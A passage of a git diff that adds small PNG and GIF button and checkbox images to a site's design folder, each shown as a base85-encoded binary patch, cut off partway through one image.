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 literal 0 HcmV?d00001 diff --git a/design/i/button_refresh_p.png b/design/i/button_refresh_p.png new file mode 100644 index 0000000000000000000000000000000000000000..633d9112d7830fa9dcebbb8127f0da862e40cc02 GIT binary patch literal 1683 zcmV;E25k9>P)BpMANNMM^IU;yzE!ym>(h(wY(p35?#gb9Lk zphQW~KM;_Iu=m!jYkS*X&-b+}-Dt73xQ+ic4Mq0k?qAZVO{Kxpru*KaI6apE*ynf@}Yb}M{dWz4`e8lb(W z3+Edz!sRM?aZ*lht=(>aO{C~QXlZRn4 zP{a(wYP0fj_6)-n86umX-N>T$dc5%TdeGI`jR$xC8#EbJ1A>7d|IW*shNL7rT3T9h z>((9ke7s?4rcA)O;k4Q~VABv*HgD;U2R+ zDJcnO&eY=AvBOxnun1bMmPe`A8(}n>k(HH=*|TS%q2V|=@GgxRP+Yti2M+8(&I>v4 z`}}d2g-5OqafzJ=gJF?LNlC$_OXuKpW)D+J0(U}^^e8J^NA>K)f(1peSdw5inJ7cS zMBthy(h*?`kFciZ+d;tH-90#d{1mQSxr)}-cI4+z}KS{yp`896Kx4>SZG z;^mv{NCuPAglUf#IV0VcEt{g}H*fxfl9H7?@_1%2h*YK?&KxzeFECQtY_`N25N}ZN zD@adE!;~qxkx4?RsHjc|ym@mec6_*%2cgDnNURbp77GN8FihleqMkf?Qq+4!zWVyJ zaVJ>0av7?tchcHgIfx(#QQcrfOioTEB1$6%XGF1Dtx;j=>gq&apC|4Fb#)E6di5H= zKRG3tXKdWKbYx~_V#4_GBr*=#A*Es1K6H@eZ-7)R0!h-rZnvS6^nR#yb#?P2k(tdV zWMpR~TJtB_rZ*V4Qn9F+n6Q#twQBh@Z!An+M@%@j$@KQRNnC#68;dOKQChl&6iq)Y z(25l$m_L8s$Q_H9b{;(eRaNbYIHN;mW+ut!39fkYjA{OtUmnEa!-sJ4B1NtU>%9653nt5>^VGFgzD`x2U)&y&X2;_~Gt;y^baD=vNubLPyBI$BVW&&%}O zxyGk~BjKLSti1d^9_^w<3yC~dz651urP#RfZC+MP(PE!xwOwBR{$t=_<`xoNAIOK_ z@8`<4Z{I=wTSsNX9FQcLM;QyuNLp0%CfEJ}V`LQs%?JsnhBp=VK=?s{N3&x`C8e?e zyLW$#rlw{hWFNo%_U$`d-`B2v2Qy~8PBs5KcWA&V9d*HM31gcKb#ODG;eYI3Cy6jw zOcbax@@y{<;T}&1Ym$|V4XgRbJ%C0K>4Q2)Ej)ewd>fVZ z5*#TG(rRM_SjA}iSC(!=By!#-(&3@@Od$f1V}_#ve@|h4!PLxOFE%5;a5{g(7?9bq zFhA{*j5ohEU4yLC!eq3<-P3b~=9g>IQ!_%XscqjIjU70Btd4s**2cP93Xoc?39uPc zzb4tPXMH;=s;X+YZ`)RK|G~febu-21ynY`i(kNb12Azb0;r`v3?ev>u+o$xZw4L*T zUH_=E5~5aHlb!XvTapaR-EOyeu<)p{t=*uuOB3n)W6@%tWxp8^D><7vwUJ&xzo8{i d*!cef3;+kdjyUL-3;+NC002ovPDHLkV1nCXD^~yj literal 0 HcmV?d00001 diff --git a/design/i/buttons/a___ext.gif b/design/i/buttons/a___ext.gif new file mode 100644 index 0000000000000000000000000000000000000000..39035e7076ae19bdd2efba0cc9be5496c92c61d0 GIT binary patch literal 594 zcmV-Y0HnO@bd+q^4fJ# zv_sda2Tp+C2q++ljc4frM4q1vLlHm}eZWqIQn7izU@8^UXkb;G%Vog8z&?bJLq4C! z7z2q0jfUtT83PFx4}}jFP7wwJ0~vlhXDSZ@0z?4`02=_APfrvI4^{*M4n7?ksHv)} ztgWbMKNktJw6(T_2^ti9Xc7Yj0d@q#a1M3H2nBg(LBD_*feX?G(hErojEpTA%p3&> z0Xi8;Oii5&QVazO$&o_C;27jg8y`;>7&f8^rW`*C!-zO|fT0bBgW~{XFcwfifPVf= zEigc_qQ#2_beRfb%14EdAVZ22+3^R5AR5rmF<4n}rOTHqGh8sRi`NAS8NR`(1P4wW zVwUnqFxl%70y;A0JWwhlfYTO3iE(Y+ zDuiSO@XT9+_6as>&UEJ6v4&YXATM literal 0 HcmV?d00001 diff --git a/design/i/buttons/a___inv.gif b/design/i/buttons/a___inv.gif new file mode 100644 index 0000000000000000000000000000000000000000..24c5f868350c93104ddb1907d9a7d37ad7ef4e9c GIT binary patch literal 583 zcmV-N0=WH0Nk%w1VIBY;0K@BOV*%&c>#il+3A|*w@$c)yn6+ zuKMEG{p{t&wXnIhv-I53x1g8S!@E;WO31OMk$-rUi-v)EdF|WN+`X}~sHUQ!pl@z% zzP`K1#l*X~x4pZ#A^8LV00000EC2ui03HAy06+!*U?+}bX`Z5|0*V4)Fm`N&MBLI8 zx9<0;zro^>C^RTGf`Eaz)h2<$Ah8(uRGtr~5h-}T;P5~iX*8}LhbIG>yfEST7c)6P zuvkSPpuhkC5ETL&gc1@I2Y)Yn3TP@93=9hw1xYsuO*jz)7Y_>z4?Z6nq@|{(sHvn_ zKN%Gku(7hU78M3+YIun)1HA(gffEK58x)(p2`&d{KP)YO2hk9N8v=;Yiad@U0SO6v z7}H6FP85p)QvuslL<0>QmY7Zi4N?i738GmZ1q=Q|0}NPlVxd5%e+;ZJ69vJ5!-o(f z8qhF7p9c;YGiuz(u_Hzx9yAzmqo|}wMH3pt=2D>s!Y*_PF7%R8AVQaz_X+^8^Mj>_ z13dQZnNUqo5-58Lv{=@2#j~B!4p5j!;94SQ0JZ_(;{qB43WE#@!1kv_01Vp{d^;<{ zD1i(aoIrT9=NmI_?ams2SA#E(tx>!w#3Q5~0KWv}IhjxZ9lmXlh9rnEQ1J~6y*z=^ z_X85B2LYW(7?wmpfd`&GEwJdJ0jCSFW!AK5)5~krlOkC3;Q+1!Gr$}C4sND5T-I4Q Vh+59PIdc_+qD!Any?XQz06XSv^Qiy; literal 0 HcmV?d00001 diff --git a/design/i/buttons/a__forum.gif b/design/i/buttons/a__forum.gif new file mode 100644 index 0000000000000000000000000000000000000000..221e0e7863125bd924fa822a0cbdcf4b97bc2980 GIT binary patch literal 1548 zcmV+n2J`txNk%w1VIBY;0QUd@00030|NqCu#J;|}y}P)gp`dSWZN9&}y}rA?zPY}> zy1l%(zPz}-ySKi*yQ89@z`nZ>4-US&xVyEm-pRdiW?-kBmgmpI^4iW(Nku|DIrrk% zac5%I#Jk+e!IX%CF)b_j<=gt`-}~y}!?v%MjEA|kv*gFR;>Nk>%)i>ew8^oix1pEd z$GqanzV_YG_ukX**UawL%k9?7_1@ESXk+i$&-mil_21R=-P7#X&0<+q_u|;!%){%~ z&h_Eg>DJAsnv|)Wmhs=$sh*i@SWrANF5wI|)~}&lOGQjR zIp)2t;<~FXB_ig&uX$u#=Dx7wy|3cEu-3Gv%c`DwW?yz=T;#yB;k~fVuA`*KIzK8=g7V1$-Zn}S!!HY>&?Qrp_y%9Tk6ln@6^ii z*Uj_U&)dYi@z~Gl(a7e`#e{ZoesOH_+0gOX(1LYv=g`Ra;Meim(csI&b7*Au;Mn!v z*7V)g#j~unq@I+9f%oFt^4-e(8ji~9~l?rysqTBt(Sar z=Do1wyRPH9t>L+>*RiB(S5f1;uHm|^w3LeHzp~b|r`58idjJ3bA^8LW00930EC2ui03HAy000R800jsfNU)&6g8~OAT)5D|00#&ZJY+bL zqCx@~2N2j-!k<5QAmjDx2a;sJcp^&#F+qSOMgkfO1X&?S5Ta!`aURln2$4-KEQGkk z$Z}t#EX9~OYcWj>wQJWdU9%>J0tFW?RIK0=>19g-k@yVDlSJG&a%az}bs=q@Jad{f z(PP3jfmZ@z>F7CfWQmf$fD_#VKp4QIXUT-|x!AG+A3C;j`O+1R@~>UHfYm7szz>rp z#C8R8=yi{-H@Z@*zSYYJVL5bS)6wOtmaaskUlyA)=Z){*MF1252SARkX)M-QOf7>hOk2^I_wFIt?D^xp zY_bUeHNfEK7%v2R1|=mDzyKvQ;OV40CW?|2C!=Bx=IMGcyhp}Z46;gJs<#pjw+yZLrMhQpn_^C$F9C`OFrMkLc+|kdhXs1nfKma=d3uUGN literal 0 HcmV?d00001 diff --git a/design/i/buttons/b___.gif b/design/i/buttons/b___.gif new file mode 100644 index 0000000000000000000000000000000000000000..630c8f3fa2fcffde981a9f1cbcdc45c8ab46dc6a GIT binary patch literal 574 zcmV-E0>S-9Nk%w1VIBY;0K@`GKawrl3f#Jh!Isuo;WTHU?6v7UN5IIyH8--XL9-GIDZe+u;SRM{YMId;b z@8ehF5OEg^3Ia7wgdYX~F#r=S1zAM_43P;65KDvr8UkYu0t^XRB?JU+q@|{A8=@o* z4hOCh2p1l+w6(Pt7ZR=qtQ}kpEem2UbaXvu0Rcb_5d=gl0zelumV`MJ*bNd5E{-b; z0R=aOgxeXh5Mtg&k;((r^H2pA3^Sje!U!-p3j zI5=p_!+-%AG+f-sv17%97~&vkP^_fMk`*MoNMLnv%Yy?X0VSJBlO~ct6dyUjJ%SAR14Jr00~sJ-n*gQT)^7^L`6~nf zLWT*^l&(9XAOpE4*bvmnpzbWYNeI?HX)r(nASCM`c?$5r?p*`X5S$a3cps7jYY~7; zHqaA3ghvD-S@5732AKgxdwS5UgPSh88aTi}yS8oH6tCpRp!NbP8yu5{t zn6tONmNtGC?a?$g@k+284wn48w!=*-mNyT;YAv9i$C-?6&L%F*1z%h?kX6aWAJ z000000000000000A^8LW000{REC2ui03HAy000I5;3ke_X`X1Rt`XqAa12CIN<_`2 z?|gp=w^M~6&`~g!q;i?WATAAq$xu8#B-pGL3xQyMgi@j*$Ydtyv|4R>JTlM(snVci z?B=|FkHOdl6>}F96h94zh>3?)goS}46&H661px(@n3)9w2aFewB9W5=q@|_<8mSrw zgLj}CqHqVQw6zMU0(KOy6%-SG7qhjr3Iw+eXS;L06L%K`!^Ei<7|pyH5)T;8(6tA` z8g&yA7`zw`62E2?4YUM<0s;%Z4-OON=-TTP-3NGi)#}}wGl7AF2fwyu5P+(To`4V- zJm6))pacsEF)-AyppVCD5*#p)!0Q161`r;FVC=I1RY#9#u81T#N5V-5DU~3Y#zf{x z2qjM%gpln4g;WUKxRC(Cfk=bqggV6u!Gf6wUAjyaI*~+z1s1esCAx*ER;LgU$Qgma zzybtFlzjZiBtrrNYelprV8B3y1%Lw!9^BVJm=XqPC|=CCaf`zyS^x+@xw7TUGit2Z K%(*k?5CA)0o!*H6 literal 0 HcmV?d00001 diff --git a/design/i/buttons/b___slow_off.gif b/design/i/buttons/b___slow_off.gif new file mode 100644 index 0000000000000000000000000000000000000000..8aa9666afdf3d5e6ecc76e9a846b561d118eb9b6 GIT binary patch literal 573 zcmV-D0>b@ANk%w1VIBY;0K^^uj*N*@RamOBz@DS2qpP@ofrW*IhGuDOGc+}rou$FU z#*vbgb9Q=)j+N8X)8paZ*Voq3(9f%^t>*3by2H{C5D=A^oZI5<)!gUG(cRD1;j+5N zw6(Xv%Gm$^{{R30A^8LW0015UEC2ui03HAy000I5peK%GX`X1RuGRv)a2zj-l@1oM z?R@WV0^CV55bP)!O{SyhBsEZIhO!|@OcEm!!|eer_2{9RhkI9BoxaR0V_;1r`Gd0*HQo8;>F!8;ueV1qlQR zasdqr6AuiWM}Sw5r5g(m7^w*j3$O|R5D^7MhaD869vq1T1+W$t90w9|1qTqQou9X( z6dK9|2OJL&0|A2ptJVtyepAfOO5+R%0SpX;2o^#3ZIX1DC#D_+0u72Jm{W*HrzB?P zWhi5iLXZXw5x`TFzt!po835)d)~=;nr`OZPN=2~)uw1f?1fN{|7=1*aF7I_1hG z!vaDB9Bi0#K*3J564&nBiJ^m_4Q4DM;BeNdhItztl-bKgTn7y!IUoqofw2N+3M6n) z@FYqG2cJLxNdmzZ=1mebb6CAPlxxu4CNk%w1VIBY;0K^{v`}_N|xV@^g!2kdNyu7?BDl6OC+Mb`Gsj91`thb${ zuEfR0j*N-s=H}DW)6dS$;pp@2@by?(TClLNv$VC3kC2s@o7>{-fq{X`)Z)U-+pxLF zyTsDZ)!x?K=>Px!A^8LW0018VEC2ui03HAy000I5;3tk`X`X1Ru2$u~aO@uGVI^Cx z@BAhlG}A;O$Z;~Aq;jd`Y!V2Q0(Z=KuGsAL;>q|FB?3;PL1xbA^f~F#JP9O9f}^36 z>zjZ;5ZKts8FT^^aT|3Uh#Ue52MidG3`B^BZWD!gUk4Qw3kD7W6%rUkMs9>76o!Z! z3I_-V5wQ)P6cQ2&r5u*1c8UrNumHjlvkM3X76OyHBojwu0u>4c1Hu3U0|pBOw#sG9 zyk{B$5)0VY*ai;-7zGJ{8oMGC8eJLW2G-UQ+Ux@YW!lL5K#z-;0tOmH*jEezh5;L_ zT*xqxLIy4!Hb|I|FcvX&1P(|j5YfZLiWwldaN!`T07nA`CJZ2efI$HX8#-Ko;Gtp% z2s}F^C~yFqQJSF&V5qmVXB-a^RCeHiLDU2aG#ibSz@dW&2oao)m;g2Eg{fObRV{Fn zfY+T7E(|0aRpk{87Di%Yi-E%ypm8f|01EU1Mh*)Su`vudLWff#2)H$DSc_$ols#~O zGlC`s4i1=z7OjCM=g0_LC7=+Xwd>cf?-j_C JD_0%@06Wv+>E8eV literal 0 HcmV?d00001 diff --git a/design/i/buttons/b___sys_off.gif b/design/i/buttons/b___sys_off.gif new file mode 100644 index 0000000000000000000000000000000000000000..81000396dfa92af910529ed5cac5b4b7f13b7240 GIT binary patch literal 626 zcmZ?wbhEHblw*)%xT?TlW~hJr(YunOB7bkM__+83M@~L^`DNASLrd1~p1)w>^Y_2z zFWvC&-P_e`);@lC@6Vq<&z?OyfA-9U3m2|mzjpcZ+9Y~3y+A@&~(7-$I;f3h$#FeotSfGh#|iGl6E!-N749jX2kONwUhw3vV4 zh3aGvH6xDRveR#~_^u}>7hVXnc(Ela_M(o|G1qNDH*dWEVSW72PrWW#4t8l#PCtnb z3GvPjCMIbyX({_Ie{CA%lRg;^8T{3_@Hp$jso{YF18H;j#F9KBotFL z8U!C328uBi1RPg%Xy{@HS|ziBeNL=7BYz}0peTupD=dSpoZZ!py}q@TEnYcS??vm2n4wu#SJKQ|DcJJlk<6K^`9)`b}>NtH@c#_6mNcBTjROaTt9#A?6YUjE?>U9a`Pce3yYTK=Gzb7^!HDgI(_zzox67*y?p4* ztxcOYZ`^(I>Ye9juiXC+1`MDX{KUZa-(f<5hmKVLi6upq8!hHv zSn;&ULr#FHuk7^OB9-fp)f6wL*}T{iHFqKh*DL6$2`=tj z>9l&nqK%uySS6UnxVRV@nfh1ETC=u`(~p&pm*qMOJEO4p8p+)X(&=lNE{Smq$iI5U zF2*CmC?j`&R{G}zW(mI6uXw~b_#}L0C>(5NE08w1axy@{fsyHtoy~#`jR%`^MMUJT zEOF##=i*|EIWVD*fsKoq!$v~lyfZ65M{L*wfd`DuWk1a{4mczn-nNCIB<>hXfa2j6 zW&!C04TFZpON}BgN*FFAYB2EM=Cf#6vF>17qxhTB6%L|_?93tJe~u)qb!=?pJmO~> z5PCV1xynSPVOQg!11%Y^CLGPa#t>!uc^j|Fi-&xX3@w&SGkio0*?HEmgx|2aX>i6( zA|>xy^YM=_w)C{=NNh-KR5THc%T|~cb)t!hV@BSA1G~59-%|Ctlg^*+! z0-YO%0YMbOpQD4l_?yl}0#+nDduhYOXebCX9>rKVjI$|qbY^Mk?JHJ2+&hu#`gv+< zA-H)UIhX^`B0$PS0?B^^qZAiM_?pqK{gF7Or0!*s_qXf(r+4e^z;Y~W- zG!b|)kIw5QPy(W;M3;|QB@7!x6a@~#aUfkqbCv=29J?zTIy{=foo9@&B+mz(92O;+ z+sptvC#`B0ZFZ#<6%Iw=5ogz#KfBP{aS8=_el)ioM??L3%&nS@KwuC%Kl~UTmkXbb^!TaY(9&@d(O4XBY;HhP^D#7RSchAy zt6)%6Gm8uH{dr-6JUTof2k6`F8 z{@nv~olK=T?K};pMb&OXr@X4fQu&Nhr1dm+#H3;qs5|oLxBcdIl#BgHayl^@j$p&f zTd{KK5DK-H|j{nNEJ6^>8E-n*EZ16T-GG&;5tl!Y zGdU$NyJ@i=q!u{Z+J>+8{{XMY%?CK(k8R3*SvA`U$s%SsB*cRZ1V!RTeZ zONT_A!PwJ0zUj?lMwP0{SXpyFBC!}0MJ90|-6jx`7;wn8E(eB(a}j!pT9pJurDBq( zILBfM9;raUCb6O^;?%&JY@1Q2T`Ve^GU~@a&UN!?Bkkv7Z)3#?lG zdHLA$#Xh**Zk#45{fN%}B#S*4FQd0VfbFks$?`{(J7B2#G?YtoL*)gO#+FSlV)M2g z$fq`2Fn=Cid3zTsE6UMz{sI=#Fz|SNP^gGHn}5VF?H&03a3el>Z|4MPRfS+61@ks4*+)`DEUTU#qGKJ@!c#J!R%lL-U04=ueyTW06MS}r@um};>@ z*OTO|4l5qzDi#Tk@z|~b7A2uQp}Ok3E?k0CI1{rqdl=|U6v(*ZQ2E4?BzuRE#pW9i z)1E>`MnFtTiDlWNhye!1GI)xkeX@u@w+!Q@DC7k=cLv=g@^RGzuRN~f%rrTuB1|LD zD@!o-6t8|Go#da{c^nlfHK~OCOlT0uFM;fIM(Aq$q}$sgjfdGN`i73`-o63QHur`% z?zFAVfTYv!o XR3mc(w(^lE00000NkvXXu0mjf{u2|P literal 0 HcmV?d00001 diff --git a/design/i/buttons/say2.gif b/design/i/buttons/say2.gif new file mode 100644 index 0000000000000000000000000000000000000000..ccc5748201a96b849777217b630813d4650d8f99 GIT binary patch literal 516 zcmV+f0{i_(Nk%w1VIBY;0K^&qJ2y6*q_3i@xvQ(Jou8qvv%0>&!H$fH(a_K4=H`x$ zkF>tdTwGn`>-LqGo2j$IgMxy~)ZyFV?7PL&u(`&xwYI{`+8h`b&(+@5+~@!Q{{R30 z000000000000000A^8LW000^QEC2ui03HAy000I5peBxFX`X1Ru8!iqaO@H(;RsZ& z?>zMoG}9pPpe!a4jB?3bE+~S55QofIuh^?36Y&K~2EoH(iI~r5G{$OyR!9}W#4;z_ z@AO51Ql3BFBNcoTM-zsJh!hYI01t+3fFgovIs%Lra(%89ND-g`3XA{_0oef#%K~K5 z&lX%00SC4K01S)kss&{k7U2>R1dHew=$rby7Y`8`^PWYRw~OC}g9sB|pztpsoCpmv z5HP5)A_agE3&6q9U>*fk2la{EBu+xaXBirSbi^=0RigzkW6oJ)G6PDLD=k34H=&6V zD<(VMR4HMLP6pz#0L3XG9L|nger}msG^k1pt_)PbP_-yPr9i7DkT4Ccq!!FE2u(&0Yie27~r6=;lqd%D-c|wg}HT*BQHAOfbojUm@}&g G0RTI;BGFy| literal 0 HcmV?d00001 diff --git a/design/i/buttons/zvuk_off.gif b/design/i/buttons/zvuk_off.gif new file mode 100644 index 0000000000000000000000000000000000000000..dd990d8407a28a4ebd47bd387dede714349b46da GIT binary patch literal 974 zcmV;<12OzZNk%w1VIBY;0Oo%HhKiDCZF3_dBSS_>r?9?veTKHc&tYY1ZgYC8w8E&e z!M@1WyvEcW9Uau$<9I&bGhJba#C(FEFpT#igpT z%F)|DLPfB)z{k$oba#7eZE~))zqY{5b9#hzdxLa)g=cGU#?95j%Gbrq(vX;<&D7wP zou`bHoyE@EH#j-8yT_iTurV?;Ha9w>sfJ(8NHb9a5TzRb11&x47QnxLqepsZS6 zW3|7{j*N+vmz(74_OQ9fv9Yni%h|id)ydG@+v4oi+~?2M;s5{tA^8LW004ggEC2ui z03HAy000O7fPaF6goTEOh>41eb##u8kdbtCDv2v9CwH2goSkd9geZT@Vs-5kz3Iym@yg zD1<2|dU@s0c?%vGMh$Xz=y`j4l!^5SUY7f{y_K=4e3kg@B7w@|NOzy2o4q4i{=Tu`nRS z4#|;Df0ALl_$gy1z8MKXp02NfdmUe$m6w#DV{xi_U_qng#!XNN=8UP z(#8dYBs=Ey;p4|KWXU)%FaRN>jSLBTG`!hk1xKpUrSbW(6WLD=01+}ESRw;Ko*Gj2 z0LY=LkDWe_cR%;TBfy>&G6V=<5@7)ZKLLvH;`7|GbKZOXOwg{K&4yGkV2v)1@BFd7 zWZ2(;10j`-V&w5=o*e|I0t+<263ZSi*zmvu@p0ov9?ifgh>R+jFk=cOB$;F@ w2OTJ>Bn!EiP)Q*s)M4e7SZ1ju9m^cj2puGZDdw1DPBP^pXr`$qnt=cSJ40~f_y7O^ literal 0 HcmV?d00001 diff --git a/design/i/checkbox.png b/design/i/checkbox.png new file mode 100644 index 0000000000000000000000000000000000000000..5ebb1ed22357b2cd634b043c41ff63ab95d7c36d GIT binary patch literal 3883 zcmV+`57h99P)KLZ*U+IBfRsybQWXdwQbLP>6pAqfylh#{fb6;Z(vMMVS~$e@S=j*ftg6;Uhf59&ghTmgWD0l;*T zI709Y^p6lP1rIRMx#05C~cW=H_Aw*bJ-5DT&Z2n+x)QHX^p z00esgV8|mQcmRZ%02D^@S3L16t`O%c004NIvOKvYIYoh62rY33S640`D9%Y2D-rV&neh&#Q1i z007~1e$oCcFS8neI|hJl{-P!B1ZZ9hpmq0)X0i`JwE&>$+E?>%_LC6RbVIkUx0b+_+BaR3cnT7Zv!AJxW zizFb)h!jyGOOZ85F;a?DAXP{m@;!0_IfqH8(HlgRxt7s3}k3K`kFu>>-2Q$QMFfPW!La{h336o>X zu_CMttHv6zR;&ZNiS=X8v3CR#fknUxHUxJ0uoBa_M6WNWeqIg~6QE69c9o#eyhGvpiOA@W-aonk<7r1(?fC{oI5N*U!4 zfg=2N-7=cNnjjOr{yriy6mMFgG#l znCF=fnQv8CDz++o6_Lscl}eQ+l^ZHARH>?_s@|##Rr6KLRFA1%Q+=*RRWnoLsR`7U zt5vFIcfW3@?wFpwUVxrVZ>QdQz32KIeJ}k~{cZZE^+ya? z2D1z#2HOnI7(B%_ac?{wFUQ;QQA1tBKtrWrm0_3Rgps+?Jfqb{jYbcQX~taRB;#$y zZN{S}1|}gUOHJxc?wV3fxuz+mJ4`!F$IZ;mqRrNsHJd##*D~ju=bP7?-?v~|cv>vB zsJ6IeNwVZxrdjT`yl#bBIa#GxRa#xMMy;K#CDyyGyQdMSxlWT#tDe?p!?5wT$+oGt z8L;Kp2HUQ-ZMJ=3XJQv;x5ci*?vuTfeY$;({XGW_huIFR9a(?@3)XSs8O^N5RyOM=TTmp(3=8^+zpz2r)C z^>JO{deZfso3oq3?Wo(Y?l$ge?uXo;%ru`Vo>?<<(8I_>;8Eq#KMS9gFl*neeosSB zfoHYnBQIkwkyowPu(zdms`p{<7e4kra-ZWq<2*OsGTvEV%s0Td$hXT+!*8Bnh2KMe zBmZRodjHV?r+_5^X9J0WL4jKW`}lf%A-|44I@@LTvf1rHjG(ze6+w@Jt%Bvjts!X0 z?2xS?_ve_-kiKB_KiJlZ$9G`c^=E@oNG)mWWaNo-3TIW8)$Hg0Ub-~8?KhvJ>$ z3*&nim@mj(aCxE5!t{lw7O5^0EIO7zOo&c6l<+|iDySBWCGrz@C5{St!X3hAA}`T4 z(TLbXTq+(;@<=L8dXnssyft|w#WSTW<++3>sgS%(4NTpeI-VAqb|7ssJvzNHgOZVu zaYCvgO_R1~>SyL=cFU|~g|hy|Zi}}s9+d~lYqOB71z9Z$wnC=pR9Yz4DhIM>Wmjgu 